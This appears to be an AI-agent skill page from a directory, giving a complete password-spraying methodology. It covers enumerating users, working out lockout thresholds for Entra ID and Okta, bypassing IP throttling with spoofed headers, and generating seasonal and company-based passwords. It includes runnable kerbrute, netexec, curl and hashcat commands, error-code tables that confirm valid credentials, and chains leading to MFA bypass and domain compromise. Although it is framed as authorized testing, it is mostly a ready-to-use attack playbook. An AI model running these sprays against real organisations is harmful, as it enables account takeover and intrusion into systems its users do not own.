SuperAPI AI Directory

password-spray-methodology

General & other

View repository

Updated 10-16 03:04

About this skill

Password Spray Methodology

Password spraying is the highest-ROI credential attack: one (or few) passwords tried against many users. It's quiet, avoids lockouts, and succeeds where traditional brute force fails. This skill consolidates every spray vector, enumeration technique, pattern, and protocol across the entire skill catalog.

This is a methodology skill. Protocol-specific details live in their respective skills — cross-reference them for deep dives. This skill covers the universal spray pipeline that applies everywhere.

When to Use

  • Starting ANY engagement with a user list but no credentials
  • Finding internet-facing login portals (OWA, Okta, ADFS, VPN, SSO, OIDC)
  • After hunt-ntlm-info reveals AD domain/UPN format — feed into spray
  • After hunt-ldap enumerates sAMAccountNames — feed into spray
  • After js-secrets-extraction finds email patterns — feed into spray
  • OneDrive 302/404 enum (from m365-entra-attack) confirms licensed users — spray them
  • Any leaked credential dump from client — validate against all services
  • Active-attacker detection via Smart Lockout differential

Universal Spray Pipeline (5 Phases)

Phase 1: ENUMERATE USERS    → valid user list
Phase 2: DETECT LOCKOUT      → max attempts/min, throttle rate
Phase 3: GENERATE PASSWORDS  → 5-20 high-probability candidates
Phase 4: EXECUTE SPRAY       → per-protocol, low-and-slow
Phase 5: INTERPRET RESULTS   → error code differential → finding or discard

Phase 1 — User Enumeration

The spray is only as good as the user list. Gather usernames BEFORE touching any auth endpoint.

Universal Enumeration Sources

Source Technique Lockout Risk Skill Reference
LinkedIn / company page Scrape employee names → username-anarchy Zero —
OneDrive personal site GET /personal/<user>_<domain>_com/_layouts/15/onedrive.aspx → 302=exists, 404=no Zero m365-entra-attack
Kerberos pre-auth kerbrute userenum --dc <DC> --domain <DOMAIN> users.txt Zero (KDC_ERR_PREAUTH_REQUIRED does not count as auth failure) —
NTLM Type-2 decode Extract AD domain, NetBIOS name, computer name from anonymous probe Zero hunt-ntlm-info
Jira user picker /rest/api/2/user/picker?query= — public on misconfigured instances Zero —
Jenkins /asynchPeople/ or /securityRealm/user/<name>/ Zero —
ManageEngine ADManager Plus Unauthenticated user listing on exposed instances Zero —
WordPress REST API /wp-json/wp/v2/users — dumps authors with usernames Zero hunt-wordpress
GitLab /api/v4/users — public on open instances Zero —
O365 Autodiscover HARDENED — returns identical 200 for all (2024+) Zero but dead m365-entra-attack
GetUserRealm HARDENED — returns same XML for any email in tenant Zero but dead m365-entra-attack

Username Format Generation

After scraping names, generate all org-likely formats:

# From a list of real names (First Last, one per line)
./username-anarchy -i names.txt > usernames.txt

# Common formats for enterprise targets:
# firstname.lastname, f.lastname, firstnamelastname, flastname
# firstname_lastname, lastname.firstname, firstname
# Also try: email prefix from known addresses (jdoe@ → jdoe)

CeWL — Target-Specific Word Extraction

cewl -d 3 -m 6 --lowercase https://target.com -w target_words.txt
# Feeds both username generation AND password patterns

Phase 2 — Lockout Detection & Throttle Math

Four Rate-Limit States (from hunt-brute-force)

Before spraying, classify the target endpoint into one of four states:

State Signal Spray Feasible?
Hard lockout Account disabled after N fails; correct creds also fail No (DoS finding instead)
Soft IP throttle 429 or increasing latency keyed on source IP Yes — bypass via IP rotation
CAPTCHA injection 200 but body switches to CAPTCHA after N attempts Maybe — check if API path skips it
Silent shadow-throttle 200/401 on every request but submissions are dropped silently TRAP — inject known-good value at known position to detect

Shadow-Throttle Detection (CRITICAL — the biggest false-negative)

# Inject a known-good credential at position 500
# If it stops working under load, shadow-throttle is active
# Your "no rate limit" conclusion was false
KNOWN_GOOD="user@target.com:CorrectP@ss"
for n in $(seq 0 600); do
  code=$(curl --max-time 30 --connect-timeout 10 -sk -u "user${n}@target.com:WrongP@ss" -o /dev/null -w "%{http_code}" \
    "https://TARGET/auth-endpoint")
  echo "$n $code $(wc -c </tmp/bf_body)"
done
# Watch: status flips, time_total climbing, body size changing

Smart Lockout Math (Microsoft Entra ID — from m365-entra-attack)

  • Default: 10 failed sign-ins in 10 minutes → 1-minute lockout
  • Counter shared across ALL auth flows (ROPC + SAML + IMAP + EWS + SMTP + device-code)
  • Mathematical guarantee: with ≤1 attempt per user, you CANNOT cause Smart Lockout (1 < 10)
  • Any AADSTS50053 observed = PRE-EXISTING external attacker → SOC finding
HARD_CAP = 1  # per user per engagement LIFETIME — never higher

Okta Lockout

  • Default: 10 failed sign-ins (configurable, some orgs: 3)
  • Discipline: ≤2 attempts per user lifetime (safer than Entra's 1 because Okta lockout can be 3)

Exchange/OWA Rate Limit Test

for i in $(seq 1 5); do
  code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 \
    -X POST "https://$TARGET/owa/auth.owa" \
    -d "destination=https://$TARGET/owa/&username=testuser$i@domain.com&password=WrongPass123!")
  echo "Attempt $i: HTTP $code"
done
# All same code → no rate limiting on this endpoint

Concrete Throttle References

Protocol Safe Rate Source
M365 ROPC ≤30 req/sec to login.microsoftonline.com (per IP) Authorized engagement
M365 Smart Lockout ≤1 attempt per user LIFETIME per engagement Mathematical guarantee
Okta /authn ≤2 attempts per user lifetime; slower than Entra (tuner-different anti-automation) Authorized engagement
Exchange OWA Test 5 rapid attempts first; if uniform, spray slowly exchange-owa-attack
SharePoint SOAP No rate limit observed on SP2013; still go slow hunt-sharepoint
Kerberos (Kerbrute) No lockout risk from pre-auth probe; spray pace: 1 password per full user list per hour Public research
IP Rotation Bypass X-Forwarded-For, X-Real-IP, X-Originating-IP, CF-Connecting-IP, True-Client-IP hunt-brute-force
NodeZero reference 2 attempts per hour in production environments Horizon3.ai (2022)

Phase 3 — Password Pattern Generation

The Complexity Backfire (CRITICAL INSIGHT)

Password complexity policies (uppercase + lowercase + digit + special) produce MORE predictable passwords, not less. The human pattern is always the same: Uppercase first letter + lowercase word + digit at end + ! at end.

Observations from PACK analysis (Kacherginsky, 2013) across RockYou, LinkedIn, MySpace, Stratfor, Singles.org, FaithWriters, phpBB:

  1. : (no transformation) — 2-25% of all passwords are straight dictionary words
  2. $1 (append "1") — 0.5-5.5% of all passwords
  3. $1 $2 $3 — 0.1-0.6%
  4. $1 $2 — 0.08-0.5%
  5. Seasonal: Summer2024!, Winter2025!, Spring2026!
  6. Company: <Brand>@2026, <Brand>@123, <City>@2026
  7. Default rotation: Password@<year>, Welcome@<year>, Admin@<year>

Pattern Generation Recipe

# 1. Company-derived patterns
brand_variants = ["CompanyName", "Company", "COMPANY", "company"]
years = ["2026", "2025", "2024", "2023", "26", "25"]
specials = ["", "!", "@", "#", "1", "123", "123!"]
seasonal = ["Summer", "Winter", "Spring", "Autumn", "Fall"]
passwords = []
for brand in brand_variants:
    for year in years:
        for spec in specials:
            passwords.append(f"{brand}{year}{spec}")
            passwords.append(f"{brand}@{year}")
for season in seasonal:
    for year in years:
        passwords.append(f"{season}{year}!")
        passwords.append(f"{season}{year}")

# 2. Plant/office city names from company website
cities = ["SaoPaulo", "Rio", "BH", "Brasilia"]
for city in cities:
    for year in years:
        for spec in specials:
            passwords.append(f"{city}{year}{spec}")

# 3. Functional account defaults
functional = ["noreply", "purchase", "accounts", "postmaster",
              "transport", "admin", "helpdesk", "support", "info"]
for func in functional:
    passwords.append(f"{func}@123")
    passwords.append(f"{func}{year}")

Wordlist Strategy

Stage Wordlist When
1. Leaked creds Client-provided dump, stealer logs Always first — each is the strongest guess for that user
2. Company-specific CeWL output + brand patterns (Phase 3 recipe) Every engagement
3. Probable-Wordlists Top 100 from berzerk0's frequency-sorted list When company patterns fail
4. rockyou.txt top-N Filter to 8+ chars matching target policy Fallback
AVOID RockYou2024 98% garbage (hashes, truncated strings, unicode junk, Russian text) — zero practical value
Custom mutations Apply Hashcat rules to company-specific list Deep engagement
# Generate mutated list with common rules
hashcat --stdout -r /usr/share/hashcat/rules/best64.rule target_words.txt | sort -u > mutated.txt

Phase 4 — Spray Execution Matrix

Protocol Endpoint Spray Command Rate Limit Skill Ref
M365 ROPC login.microsoftonline.com/common/oauth2/token Python attempt() with state file ≤1/user/lifetime m365-entra-attack
Okta <tenant>.okta.com/api/v1/authn curl POST {"username":"...","password":"..."} ≤2/user/lifetime okta-attack
Exchange OWA /owa/auth.owa (POST), /ews/Exchange.asmx (Basic) curl HTTP POST or Basic Auth Test 5 rapid first exchange-owa-attack
Kerberos (AD) KDC (TCP 88) kerbrute passwordspray --dc <DC> -d <DOMAIN> users.txt '<password>' No lockout from spray —
SMB / WinRM TCP 445 / 5985 netexec smb 10.0.0.0/24 -u users.txt -p passwords.txt --continue-on-success Per-service —
SharePoint SOAP /_vti_bin/Authentication.asmx POST SOAP Login envelope No rate limit on SP2013 farms hunt-sharepoint
WordPress XMLRPC /xmlrpc.php system.multicall batches hundreds in 1 request None observed hunt-auth-bypass
OIDC password grant /oauth2/token (custom tenant) grant_type=password with client_id Depends on IdP —
Citrix NetScaler /vpn/index.html, /cgi/login POST form credentials Per-instance —
F5 BIG-IP /tmui/login.jsp POST form credentials Per-instance —
Atlassian /rest/auth/1/session (Basic) curl -u No rate limit on many instances —
Jenkins /jnlpJars/jenkins-cli.jar, /script curl POST Per-instance —

Kerbrute — Spray AD Without Lockout

# Enumerate first (zero lockout risk)
./kerbrute_linux_amd64 userenum \
  --dc 10.10.10.5 \
  --domain corp.local \
  usernames.txt

# Then spray — one password at a time across ALL valid users
./kerbrute_linux_amd64 passwordspray \
  --dc 10.10.10.5 \
  --domain corp.local \
  valid_users.txt 'Summer2026!'

NetExec — Multi-Protocol Spray

# Spray SMB across subnet
netexec smb 10.10.10.0/24 -u users.txt -p passwords.txt --continue-on-success

# Spray WinRM
netexec winrm 10.10.10.0/24 -u users.txt -p passwords.txt

# Spray MSSQL
netexec mssql 10.10.10.0/24 -u users.txt -p passwords.txt

# Single credential validation
netexec smb 10.10.10.5 -u administrator -p 'P@ssw0rd!'

# [+] = valid auth  |  (Pwn3d!) = local admin on that machine

Burp Intruder — OWA Spray

# POST request to /owa/auth.owa
# Sniper mode: variable on username field
# Fixed password field = common candidate
# Track timestamp between launches to avoid re-spraying same password

Phase 5 — Error Code Differentials

The difference between "wrong password" and "correct password but blocked" is everything. The latter is a confirmed finding even without a token.

AADSTS Codes (M365/Entra — from m365-entra-attack)

Code Meaning Password Valid? Action
AADSTS50034 User does not exist N/A Remove from list
AADSTS50126 Invalid password ❌ User exists — retry within cap
AADSTS50053 Account locked (Smart Lockout) Unknown PRE-EXISTING → SOC finding
AADSTS53003 CA blocked token issuance ✅ YES STOP — VALID CREDENTIAL
AADSTS50076 MFA required ✅ YES VALID — second factor needed
AADSTS50079 Strong auth required ✅ YES VALID
AADSTS50158 External auth required ✅ YES VALID
AADSTS530003 Device-state required ✅ YES VALID

CRITICAL TRAP — ROPC substring false-positive: When CA requires MFA, the error body includes "claims":{"access_token":{"capolids":...}}. A loose substring check if "access_token" in raw_body will false-positive every MFA-blocked attempt. Always parse JSON, then check if "access_token" in parsed_dict.

Okta Codes (from okta-attack)

Response Meaning Password Valid?
200 status=MFA_REQUIRED MFA challenge waiting ✅ YES
200 status=SUCCESS + sessionToken Full auth (no MFA) ✅ YES
200 status=PASSWORD_EXPIRED Must change password ✅ YES
200 status=LOCKED_OUT Account locked Unknown
401 E0000004 Auth failed (user doesn't exist OR wrong password — Okta unifies) ❌
401 E0000119 User is locked Unknown
429 Rate-limit hit —

Exchange OWA Codes

Status Meaning
302 + Location to /owa/ ✅ VALID — authenticated
200 with same login page ❌ Invalid
Consistent HTTP codes across 5 rapid attempts No rate limit — spray viable

Engagement Discipline

Must Do

  • State file with atomic writes: per-user attempt counter (JSON)
  • Engagement journal: JSONL log of every attempt (timestamp, email, password first 4 chars, status, AADSTS code)
  • IP rotation log: per-day: date, src-ip, ISP-AS, operator-handle, round
  • Test ALL tenants: sister domains often have separate Entra tenants with different password policies
  • Kill switch: stop run if LOCKED count exceeds threshold (suggests pre-existing attacker or miscount)
  • Leaked creds FIRST: each is 1 cap-attempt against the strongest guess for that user

Anti-Patterns (Don't Do These)

  • DON'T use leaked cred across multiple resources — burns cap with no marginal benefit when CA blocks
  • DON'T retry after AADSTS50053 — account is locked
  • DON'T spray >30 req/sec sustained to login.microsoftonline.com — IP flagged for credential-stuffing
  • DON'T use Entra-style spray pace on Okta — anti-automation is tuner-different
  • DON'T retract a CA-block finding — AADSTS53003/50076/50079 = password is correct
  • DON'T skip user enumeration — spraying without known-valid usernames is blind noise
  • DON'T use RockYou2024 — 98% garbage (hashes, truncated strings, unicode junk)
  • DON'T spray a user more than HARD_CAP times across the entire engagement lifetime
  • DON'T confuse *.oktapreview.com with production — preview is non-prod, different severity

Active-Attacker Detection (Highest-Impact Byproduct)

The Smart Lockout math guarantee (1 < 10) doubles as an active-attacker detector:

  1. Cap: 1 attempt per user
  2. Observe AADSTS50053 (LOCKED) on multiple users
  3. You did not cause these locks (1 < 10 = mathematically impossible)
  4. An external attacker is actively spraying the tenant RIGHT NOW
  5. Cluster locked users alphabetically → clustering = attacker using sorted username list
  6. Diff lockout count between spray-start and spray-end → new locks = attacker active during your session
  7. Document locked email list as SOC-actionable finding

Chain Table

Chain From To Impact
User enum → spray → valid cred hunt-ntlm-info This skill ATO
Sprayed cred → email access This skill m365-entra-attack Data exfil
Spray → MFA challenge → bypass This skill hunt-mfa-bypass Full ATO
Spray → valid cred → lateral This skill NetExec/impacket Domain compromise
Spray → lockout observation → SOC alert This skill mid-engagement-ir-detection IR finding
Spray → SharePoint SOAP cred → FedAuth → authenticated surface This skill hunt-sharepoint SharePoint access
LDAP enum → sAMAccountName list → AD spray hunt-ldap This skill (Kerbrute) Mass-ATO

Tool Summary

Tool Purpose Command
Kerbrute AD user enum + spray (no lockout) kerbrute userenum/passwordspray
NetExec (nxc) Multi-protocol spray (SMB, WinRM, MSSQL, RDP) netexec smb 10.0.0.0/24 -u users.txt -p passwords.txt
Burp Intruder HTTP POST spray (OWA, custom portals) Sniper mode, variable username, fixed password
CeWL Target-specific wordlist generation cewl -d 3 -m 6 --lowercase https://target.com -w words.txt
username-anarchy Username format generation from real names ./username-anarchy -i names.txt > usernames.txt
Hashcat Password rule generation (PACK) + wordlist mutation hashcat --stdout -r rules/best64.rule words.txt
curl Manual spray probes, lockout tests curl --max-time 30 --connect-timeout 10 -sk -u "user:pass" https://TARGET/endpoint
Python Custom spray script with state file + JSON parsing See m365-entra-attack for ROPC template
MailSniper Post-compromise GAL extraction from OWA Amplifies spray list after first valid cred
hydra HTTP form spray (legacy — prefer Burp Intruder) hydra -L users.txt -P passwords.txt http-post-form

Verification

  1. Spray tool availability — confirm spray tools:
    which crackmapexec 2>/dev/null && echo "PASS: crackmapexec installed" || echo "NOTE: crackmapexec not installed"
    pip3 show o365spray 2>/dev/null | grep -q "Name:" && echo "PASS: o365spray installed" || echo "NOTE: o365spray not installed"
    

All tests verify password spray readiness.


Pitfalls

  • Spraying without lockout policy knowledge — Entra ID Smart Lockout, Okta lockout, and on-prem AD lockout all work differently. Know the threshold before spraying.
  • One-password spray — spraying only "Password123" is nearly useless. Use a targeted list of 2-4 high-probability passwords per org.
  • Spray without user enumeration first — validating usernames before spraying reduces noise and lockout risk. Always enum first.
  • Timing-based account validation — password spray timing differentials can confirm valid accounts. Measure carefully with n>=10 samples.
  • OAuth/Modern Auth spray — modern auth endpoints (OAuth2 token endpoint) have different lockout behavior than legacy endpoints. Test both paths.

Related Skills

  • m365-entra-attack — M365-specific ROPC validation, AADSTS code reference, OneDrive user enumeration, Smart Lockout math, tenant discovery
  • okta-attack — Okta-specific spray endpoint, error codes, factor enumeration, lockout discipline
  • exchange-owa-attack — OWA rate-limit testing, Basic Auth spray, NTLM Type-2 domain extraction, government naming patterns
  • hunt-brute-force — Four rate-limit states, shadow-throttle detection, IP rotation bypass, OTP brute methodology
  • hunt-auth-bypass — Legacy Protocol Matrix (WordPress XMLRPC, Citrix, F5, Atlassian spray endpoints)
  • hunt-sharepoint — SharePoint SOAP Authentication.asmx anonymous credential brute-force (no rate limit)
  • hunt-ldap — sAMAccountName enumeration → spray target list
  • hunt-ntlm-info — NTLM Type-2 → UPN format → credential format for spray
  • hunt-mfa-bypass — Spray → MFA challenge → bypass chain
  • mid-engagement-ir-detection — Active-attacker detection via Smart Lockout lockout differential
  • hunt-wordpress — REST API user enumeration → spray target list